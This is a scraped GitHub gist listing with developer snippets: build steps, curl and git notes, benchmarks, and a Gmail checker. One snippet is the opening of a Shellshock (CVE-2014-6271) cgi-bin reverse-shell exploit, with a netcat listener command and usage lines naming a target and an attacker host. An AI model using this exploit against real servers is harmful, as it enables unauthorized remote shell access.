Skip to content

Instantly share code, notes, and snippets.

View elinaldosoft's full-sized avatar
🎯
Focusing

Elinaldo Monteiro elinaldosoft

🎯
Focusing
View GitHub Profile
@luanfonceca
luanfonceca / requirements.txt
Created October 17, 2018 19:25
Show Permissions management command.
mock==2.0.0
django-extensions==1.9.7
@anapaulagomes
anapaulagomes / stringinterpolation.py
Created February 23, 2018 14:56
String interpolation benchmark
# Taken from: https://cito.github.io/blog/f-strings/
import timeit
format = """
def format(name, age):
return f'He said his name is {name} and he is {age} years old.'
""", """
def format(name, age):
return 'He said his name is %s and he is %s years old.' % (name, age)
@peterc
peterc / inboxcheck.rb
Last active April 30, 2020 22:12
A Ruby script that checks a Gmail inbox for new mail and shares info about how it was classified
# inboxcheck.rb monitors a Gmail account for new mails and returns
# info (as JSON) about the first new mail from a specified address
#
# This is used to see if our newsletter testing mails arrive at
# Gmail and then if they go into spam, promotions or the normal inbox.
#
# To use or work on this script for yourself, follow steps 1 and 2 at
# https://developers.google.com/gmail/api/quickstart/ruby to get set
# up with the Google API stuff. Make sure client_secret.json ends up
# in the same directory as this script, then you're good to go.

Direct copy of pre-encoded file:

$ ffmpeg -i filename.mp4 -codec: copy -start_number 0 -hls_time 10 -hls_list_size 0 -f hls filename.m3u8

@wbotelhos
wbotelhos / libreadline_6_not_found.sh
Created November 29, 2016 20:42
Library not loaded: /usr/local/opt/readline/lib/libreadline.6.dylib (LoadError)
ln -s /usr/local/opt/readline/lib/libreadline.7.0.dylib /usr/local/opt/readline/lib/libreadline.6.dylib
@subfuzion
subfuzion / curl.md
Last active March 28, 2024 23:11
curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

@subsetpark
subsetpark / gist:367f0d3fde503a1e481c
Created June 16, 2015 15:48
Building Python 2.7.10 on Ubuntu 14.04 LTS
$ sudo apt-get install -y gcc-multilib g++-multilib libffi-dev libffi6 libffi6-dbg python-crypto python-mox3 python-pil python-ply libssl-dev zlib1g-dev libbz2-dev libexpat1-dev libbluetooth-dev libgdbm-dev dpkg-dev quilt autotools-dev libreadline-dev libtinfo-dev libncursesw5-dev tk-dev blt-dev libssl-dev zlib1g-dev libbz2-dev libexpat1-dev libbluetooth-dev libsqlite3-dev libgpm2 mime-support netbase net-tools bzip2
$ wget https://www.python.org/ftp/python/2.7.10/Python-2.7.10.tgz
$ tar xvf Python-2.7.10.tgz
$ cd Python-2.7.10/
$ ./configure --prefix /usr/local/lib/python2.7.10 --enable-ipv6
$ make
$ sudo make install
@schniggie
schniggie / CVE-2014-6271_netcat_reverse.py
Created September 25, 2014 08:19
CVE-2014-6271 cgi-bin reverse netcat shell
#
#CVE-2014-6271 cgi-bin reverse shell
#Use netcat -l -p 8080 to receive the reverse shell
#
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi '10.0.0.1 8080'" % sys.argv[0]
@leocomelli
leocomelli / git.md
Last active March 29, 2024 01:55
Lista de comandos úteis do GIT

GIT

Estados

  • Modificado (modified);
  • Preparado (staged/index)
  • Consolidado (comitted);

Ajuda